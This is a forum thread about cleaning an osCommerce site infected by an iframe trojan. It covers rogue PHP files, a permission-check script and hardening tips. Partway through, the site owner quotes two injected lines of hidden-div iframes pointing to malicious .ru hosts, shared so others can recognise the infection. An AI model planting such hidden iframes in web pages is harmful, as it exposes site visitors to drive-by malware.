Help please with.. Fatal error: Call to a member function

[ozstar]

Hi,

We have been hit with this dreaded 'iframe Trojan malware going around which changes the index and some other files and I have been able to uplaod the back up and gte ity happening again, this time for some reason I am getting the error mentioned.

I have the latest MAX and admin is fine it is juts getting into the frot end.

Could I get some help to understand what file/s may be missing/wrong perms or corrupted please?

Thanks,

oz


Fatal error: Call to a member function add_current_page() on a non-object in /home/******/public_html/catalog/includes/application_top.php on line 349

Line 349 is..


// navigation history
if (tep_session_is_registered('navigation')) {
if (PHP_VERSION < 4) {
$broken_navigation = $navigation;
$navigation = new navigationHistory;
$navigation->unserialize($broken_navigation);
}
} else {
tep_session_register('navigation');
$navigation = new navigationHistory;
}
$navigation->add_current_page(); <<<<<< Line 349 <<<<<<<<<<<<<<<<<<<<<<<

// BOF: MOD - Down for Maintenance except for admin ip

[ozstar]

In saerchimng for answers I have come across two php files in /images/ directories.

Should they be there..

mg.php
modcap.php

Thanks

oz

[ridexbuilder]

Definitely not! Terminate 'em (delete)
Usually this is accompanied by lines embedded in other php files, at the beginning. Find one, then use the found string to search all your files for other occurrences.
(Notepad++ or Geany are handy tools to do this).

Once cleaned up, this might help with prevention:
CHMOD Warnings ...

[ozstar]

Ah Ha... Well I have now gotten rid of them and found lots of files with code in them. This code wasat the bottom of all the files, overwriting a lot of the code that was supposed to be there.

I am now online again after making sure my 'avast' was enabled then downloading the whole sites. Anything which was still infected was picked up by 'avast' and sent to the 'virus chest' where I could identify waht it was and what dir it was in so I could replace it with a backed up one.

Hopefully I am clean now..

Thanks for the help.

oz



Much of the code was like this..

<div style="display:none">gzqzyjydwstrlwresxeypwfxbcmyc nt<iframe width=115 height=857 src="http://icq-tel.ru:8080/index
<div style="display:none">tqwkokknvcllfsqkfjzizcinitkop pb<iframe width=374 height=891 src="http://samsungicq.ru:8080/index.php" ></iframe></div>

[ridexbuilder]

<div style="display:none">gzqzyjydwstrlwresxeypwfxbcmyc nt<iframe width=115 height=857 src="http://icq-tel.ru:8080/index
<div style="display:none">tqwkokknvcllfsqkfjzizcinitkop pb<iframe width=374 height=891 src="http://samsungicq.ru:8080/index.php" ></iframe></div>

Yep, that's the critters
Must be a variant - the one's I cleaned out were found at the top of the file - so easier to spot. Thanks for letting folks know where you found 'em - should help others.

[Remember, I need 'Thanks' button presses/Rep power - have to catch up with PGMarshall somehow ]

[ozstar]

I like the idea of a script that tells if you have all the perms correct or ar least shows them to you. I tried the ones in the thread but got this. It lists all the dirs in the public_html and only these two files.

Any better script around as unfortunatley it is out of my league to write it.

The result below is from this which was in the thread link..

<?php
clearstatcache();
$dirname = '../';
$files = scandir($dirname);
$ignore = Array(".", "..", "otherfiletoignore");
foreach($files as $checked){
if (!in_array($checked, $ignore)) {
$chmod_set = substr(decoct( fileperms($checked) ), 2);
echo $checked . ": " . $chmod_set . "<br>";
}
}

if (extension_loaded("suhosin")) {
echo "suhosin found";
} else {
echo "suhosin not loaded";
}
?>




Thanks

oz



.ftpquota: 0644
.htaccess: 0644

Warning: fileperms() [function.fileperms]: stat failed for .htpasswd in /home/******/public_html/catalog/checkpermissions1.php on line 8
.htpasswd:

Warning: fileperms() [function.fileperms]: stat failed for 404.shtml in /home/******/public_html/catalog/checkpermissions1.php on line 8
404.shtml:

Warning: fileperms() [function.fileperms]: stat failed for Aaron in /home/******/public_html/catalog/checkpermissions1.php on line 8
Aaron:

Warning: fileperms() [function.fileperms]: stat failed for Audio in /home/******/public_html/catalog/checkpermissions1.php on line 8
Audio:

Warning: fileperms() [function.fileperms]: stat failed for catalog in /home/starreco/public_html/catalog/checkpermissions1.php on line 8
catalog:

Warning: fileperms() [function.fileperms]: stat failed for cgi-bin in /home/******/public_html/catalog/checkpermissions1.php on line 8
cgi-bin:
checkpermissions1.php: 0644

Warning: fileperms() [function.fileperms]: stat failed for chmod.php in /home/******/public_html/catalog/checkpermissions1.php on line 8
chmod.php:

Warning: fileperms() [function.fileperms]: stat failed for database-size.php in /home/******/public_html/catalog/checkpermissions1.php on line 8
database-size.php:
error_log: 0644

Warning: fileperms() [function.fileperms]: stat failed for html in /home/******/public_html/catalog/checkpermissions1.php on line 8
html:

Warning: fileperms() [function.fileperms]: stat failed for image in /home/******/public_html/catalog/checkpermissions1.php on line 8
image:
images: 755

Warning: fileperms() [function.fileperms]: stat failed for index.html in /home/******/public_html/catalog/checkpermissions1.php on line 8
index.html:

Warning: fileperms() [function.fileperms]: stat failed for media in /home/******/public_html/catalog/checkpermissions1.php on line 8
media:

Warning: fileperms() [function.fileperms]: stat failed for phpinfo.php in /home/******/public_html/catalog/checkpermissions1.php on line 8
phpinfo.php:

Warning: fileperms() [function.fileperms]: stat failed for robots.txt in /home/******/public_html/catalog/checkpermissions1.php on line 8
robots.txt:

Warning: fileperms() [function.fileperms]: stat failed for tmp in /home/******/public_html/catalog/checkpermissions1.php on line 8
tmp:
suhosin found

[ridexbuilder]

Actually, I get the "filestat" failure on mine as well - assumed to be because PGM is ignoring my plea to not check files above the current directory. [Probably something else but I do like a wee dig ] It is a WIP, afterall.

Michael's cron script on the same thread will certainly help in the meantime.
Also, ensure that you rename the admin directory (and change the config.php to match), along with using cPanel to password protect the admin directory.

You are using suhosin (great!), so a major step in closing up vulnerabilities - no 777 permissions whatsoever.

[Grab the zip file contribution, rather than using the script and install it on a development site - it's pretty easy to do. Then you can add your support on the thread. Even if it's just to say "Go for it" ]

EJ

[pgmarshall]

Hi ozstar,

The code that you are running has been dumped because of these problems - also Ridex showed me a mod on oscommerce that does all the checking for you in a neat little install.

I have installed and run - and it works well ...

I have packaged the install instructions and tidied it up a bit.

Regards,

[ridexbuilder]

Thanks for the clarity, PGM.
Zip file's still a bit 'scrappy'
How about dropping the listing of files that are 'OK'?

[ozstar]

Thanks guys.

It's 9.30pm and after 14 hours straight, most of it with these little terrorists, I'm near brain dead! Not as young as I used to be!

I'll get the zip tomorrow and also do as EJ suggests by changing the admin name and secure the admin dir using cpanel.

Thumbs up and thanks to both of you.. well the three of you, counting MS.

oz